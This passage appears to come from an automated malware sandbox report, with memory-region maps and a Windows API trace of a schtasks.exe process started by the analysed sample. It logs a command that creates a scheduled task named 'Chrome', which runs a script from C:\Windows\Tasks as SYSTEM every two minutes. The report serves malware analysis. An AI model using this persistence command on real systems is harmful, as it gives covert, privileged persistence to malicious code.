"c:\\windows\\system32\\oleaut32.dll") Region: id = 1028 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1029 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1030 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1031 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1032 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1033 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1034 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1035 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1036 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1037 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 26 os_tid = 0x9f4 Thread: id = 27 os_tid = 0x570 Thread: id = 28 os_tid = 0x5e0 Thread: id = 29 os_tid = 0x5dc Thread: id = 30 os_tid = 0x5b0 Thread: id = 31 os_tid = 0x5ac Thread: id = 32 os_tid = 0x5a4 Thread: id = 101 os_tid = 0x564 Thread: id = 312 os_tid = 0x940 Process: id = "5" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x583c9000" os_pid = "0xa58" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa34" cmd_line = "schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 585 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 586 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 587 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 588 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 589 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 590 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 591 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 592 start_va = 0xffc30000 end_va = 0xffc77fff entry_point = 0xffc30000 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 593 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 594 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 595 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 596 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 597 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 598 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 599 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 600 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 601 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 602 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 603 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 604 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 605 start_va = 0x160000 end_va = 0x171fff entry_point = 0x160000 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 606 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 607 start_va = 0x190000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 608 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 609 start_va = 0x3a0000 end_va = 0x527fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 610 start_va = 0x530000 end_va = 0x6b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 611 start_va = 0x6c0000 end_va = 0x1abffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 612 start_va = 0x1ac0000 end_va = 0x1ac0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 613 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 614 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 615 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 616 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 617 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 618 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 619 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 620 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 621 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 622 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 623 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 624 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 625 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 626 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 627 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 628 start_va = 0x1ad0000 end_va = 0x1d9efff entry_point = 0x1ad0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 629 start_va = 0x1da0000 end_va = 0x1e1cfff entry_point = 0x1da0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 630 start_va = 0x1da0000 end_va = 0x1e1cfff entry_point = 0x1da0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 631 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 632 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 633 start_va = 0x1da0000 end_va = 0x1e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 634 start_va = 0x1e20000 end_va = 0x1efefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 635 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 636 start_va = 0x2020000 end_va = 0x209ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 637 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 638 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 639 start_va = 0x1f00000 end_va = 0x1f00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 640 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 641 start_va = 0x1f10000 end_va = 0x1f10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 642 start_va = 0x7fefb8f0000 end_va = 0x7fefba16fff entry_point = 0x7fefb8f0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 643 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 644 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 645 start_va = 0x1f20000 end_va = 0x1fdffff entry_point = 0x1f20000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Thread: id = 33 os_tid = 0xa5c [0056.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fd70 | out: lpSystemTimeAsFileTime=0x14fd70*(dwLowDateTime=0x58dc69d0, dwHighDateTime=0x1d4a74f)) [0056.460] GetCurrentProcessId () returned 0xa58 [0056.460] GetCurrentThreadId () returned 0xa5c [0056.460] GetTickCount () returned 0x1d1cf [0056.460] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x14fd78 | out: lpPerformanceCount=0x14fd78*=1812987000000) returned 1 [0056.462] GetModuleHandleW (lpModuleName=0x0) returned 0xffc30000 [0056.462] __set_app_type (_Type=0x1) [0056.462] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc5972c) returned 0x0 [0056.462] __wgetmainargs (in: _Argc=0xffc71240, _Argv=0xffc71250, _Env=0xffc71248, _DoWildCard=0, _StartInfo=0xffc7125c | out: _Argc=0xffc71240, _Argv=0xffc71250, _Env=0xffc71248) returned 0 [0056.463] _onexit (_Func=0xffc62ab0) returned 0xffc62ab0 [0056.463] _onexit (_Func=0xffc62ac4) returned 0xffc62ac4 [0056.463] _onexit (_Func=0xffc62afc) returned 0xffc62afc [0056.463] _onexit (_Func=0xffc62b58) returned 0xffc62b58 [0056.463] _onexit (_Func=0xffc62b80) returned 0xffc62b80 [0056.463] _onexit (_Func=0xffc62ba8) returned 0xffc62ba8 [0056.463] _onexit (_Func=0xffc62bd0) returned 0xffc62bd0 [0056.463] _onexit (_Func=0xffc62bf8) returned 0xffc62bf8 [0056.463] _onexit (_Func=0xffc62c20) returned 0xffc62c20 [0056.463] _onexit (_Func=0xffc62c48) returned 0xffc62c48 [0056.463] _onexit (_Func=0xffc62c70) returned 0xffc62c70 [0056.464] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0056.464] WinSqmIsOptedIn () returned 0x0 [0056.464] SetLastError (dwErrCode=0x0) [0056.464] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0056.464] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0056.464] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0056.464] VerifyVersionInfoW (in: lpVersionInformation=0x14f530, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x14f530) returned 1 [0056.464] lstrlenW (lpString="") returned 0 [0056.465] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.466] SetLastError (dwErrCode=0x0) [0056.466] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.467] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bbd00, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0056.467] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefcd50000 [0056.468] GetProcAddress (hModule=0x7fefcd50000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefcd515fc [0056.468] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0056.468] GetProcAddress (hModule=0x7fefcd50000, lpProcName="GetFileVersionInfoW") returned 0x7fefcd51614 [0056.468] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1bcab0 | out: lpData=0x1bcab0) returned 1 [0056.469] GetProcAddress (hModule=0x7fefcd50000, lpProcName="VerQueryValueW") returned 0x7fefcd515e0 [0056.469] VerQueryValueW (in: pBlock=0x1bcab0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14f618, puLen=0x14f680 | out: lplpBuffer=0x14f618*=0x1bce4c, puLen=0x14f680) returned 1 [0056.470] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.470] _vsnwprintf (in: _Buffer=0x1bbd00, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14f5f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0056.470] VerQueryValueW (in: pBlock=0x1bcab0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14f688, puLen=0x14f678 | out: lplpBuffer=0x14f688*=0x1bcc78, puLen=0x14f678) returned 1 [0056.470] lstrlenW (lpString="schtasks.exe") returned 12 [0056.470] lstrlenW (lpString="schtasks.exe") returned 12 [0056.470] lstrlenW (lpString=".EXE") returned 4 [0056.470] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0056.471] lstrlenW (lpString="schtasks.exe") returned 12 [0056.471] lstrlenW (lpString=".EXE") returned 4 [0056.471] _memicmp (_Buf1=0x1bbb60, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.471] lstrlenW (lpString="schtasks") returned 8 [0056.471] _memicmp (_Buf1=0x1bbb80, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.472] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.472] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0056.472] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0056.472] _vsnwprintf (in: _Buffer=0x1bc100, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14f5f8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0056.472] SetLastError (dwErrCode=0x0) [0056.472] GetThreadLocale () returned 0x409 [0056.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.472] lstrlenW (lpString="?") returned 1 [0056.472] GetThreadLocale () returned 0x409 [0056.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.472] lstrlenW (lpString="create") returned 6 [0056.472] GetThreadLocale () returned 0x409 [0056.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.472] lstrlenW (lpString="delete") returned 6 [0056.472] GetThreadLocale () returned 0x409 [0056.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.472] lstrlenW (lpString="query") returned 5 [0056.472] GetThreadLocale () returned 0x409 [0056.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.473] lstrlenW (lpString="change") returned 6 [0056.473] GetThreadLocale () returned 0x409 [0056.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.473] lstrlenW (lpString="run") returned 3 [0056.473] GetThreadLocale () returned 0x409 [0056.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.473] lstrlenW (lpString="end") returned 3 [0056.473] GetThreadLocale () returned 0x409 [0056.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.473] lstrlenW (lpString="showsid") returned 7 [0056.473] GetThreadLocale () returned 0x409 [0056.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0056.473] SetLastError (dwErrCode=0x0) [0056.473] SetLastError (dwErrCode=0x0) [0056.473] lstrlenW (lpString="/create") returned 7 [0056.473] lstrlenW (lpString="-/") returned 2 [0056.473] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.473] lstrlenW (lpString="?") returned 1 [0056.473] lstrlenW (lpString="?") returned 1 [0056.473] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.473] lstrlenW (lpString="create") returned 6 [0056.473] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.473] _vsnwprintf (in: _Buffer=0x1bcad0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.473] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.473] lstrlenW (lpString="|?|") returned 3 [0056.473] lstrlenW (lpString="|create|") returned 8 [0056.473] SetLastError (dwErrCode=0x490) [0056.473] lstrlenW (lpString="create") returned 6 [0056.473] lstrlenW (lpString="create") returned 6 [0056.473] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.473] lstrlenW (lpString="create") returned 6 [0056.473] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.474] lstrlenW (lpString="|create|") returned 8 [0056.474] lstrlenW (lpString="|create|") returned 8 [0056.474] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0056.474] SetLastError (dwErrCode=0x0) [0056.474] SetLastError (dwErrCode=0x0) [0056.474] SetLastError (dwErrCode=0x0) [0056.474] lstrlenW (lpString="/sc") returned 3 [0056.474] lstrlenW (lpString="-/") returned 2 [0056.474] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.474] lstrlenW (lpString="?") returned 1 [0056.474] lstrlenW (lpString="?") returned 1 [0056.474] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] lstrlenW (lpString="sc") returned 2 [0056.474] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.474] lstrlenW (lpString="|?|") returned 3 [0056.474] lstrlenW (lpString="|sc|") returned 4 [0056.474] SetLastError (dwErrCode=0x490) [0056.474] lstrlenW (lpString="create") returned 6 [0056.474] lstrlenW (lpString="create") returned 6 [0056.474] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] lstrlenW (lpString="sc") returned 2 [0056.474] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.474] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.474] lstrlenW (lpString="|create|") returned 8 [0056.474] lstrlenW (lpString="|sc|") returned 4 [0056.474] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0056.474] SetLastError (dwErrCode=0x490) [0056.474] lstrlenW (lpString="delete") returned 6 [0056.474] lstrlenW (lpString="delete") returned 6 [0056.474] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.474] lstrlenW (lpString="sc") returned 2 [0056.474] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|delete|") returned 8 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.475] lstrlenW (lpString="|delete|") returned 8 [0056.475] lstrlenW (lpString="|sc|") returned 4 [0056.475] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0056.475] SetLastError (dwErrCode=0x490) [0056.475] lstrlenW (lpString="query") returned 5 [0056.475] lstrlenW (lpString="query") returned 5 [0056.475] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] lstrlenW (lpString="sc") returned 2 [0056.475] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|query|") returned 7 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.475] lstrlenW (lpString="|query|") returned 7 [0056.475] lstrlenW (lpString="|sc|") returned 4 [0056.475] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0056.475] SetLastError (dwErrCode=0x490) [0056.475] lstrlenW (lpString="change") returned 6 [0056.475] lstrlenW (lpString="change") returned 6 [0056.475] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] lstrlenW (lpString="sc") returned 2 [0056.475] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|change|") returned 8 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.475] lstrlenW (lpString="|change|") returned 8 [0056.475] lstrlenW (lpString="|sc|") returned 4 [0056.475] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0056.475] SetLastError (dwErrCode=0x490) [0056.475] lstrlenW (lpString="run") returned 3 [0056.475] lstrlenW (lpString="run") returned 3 [0056.475] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) 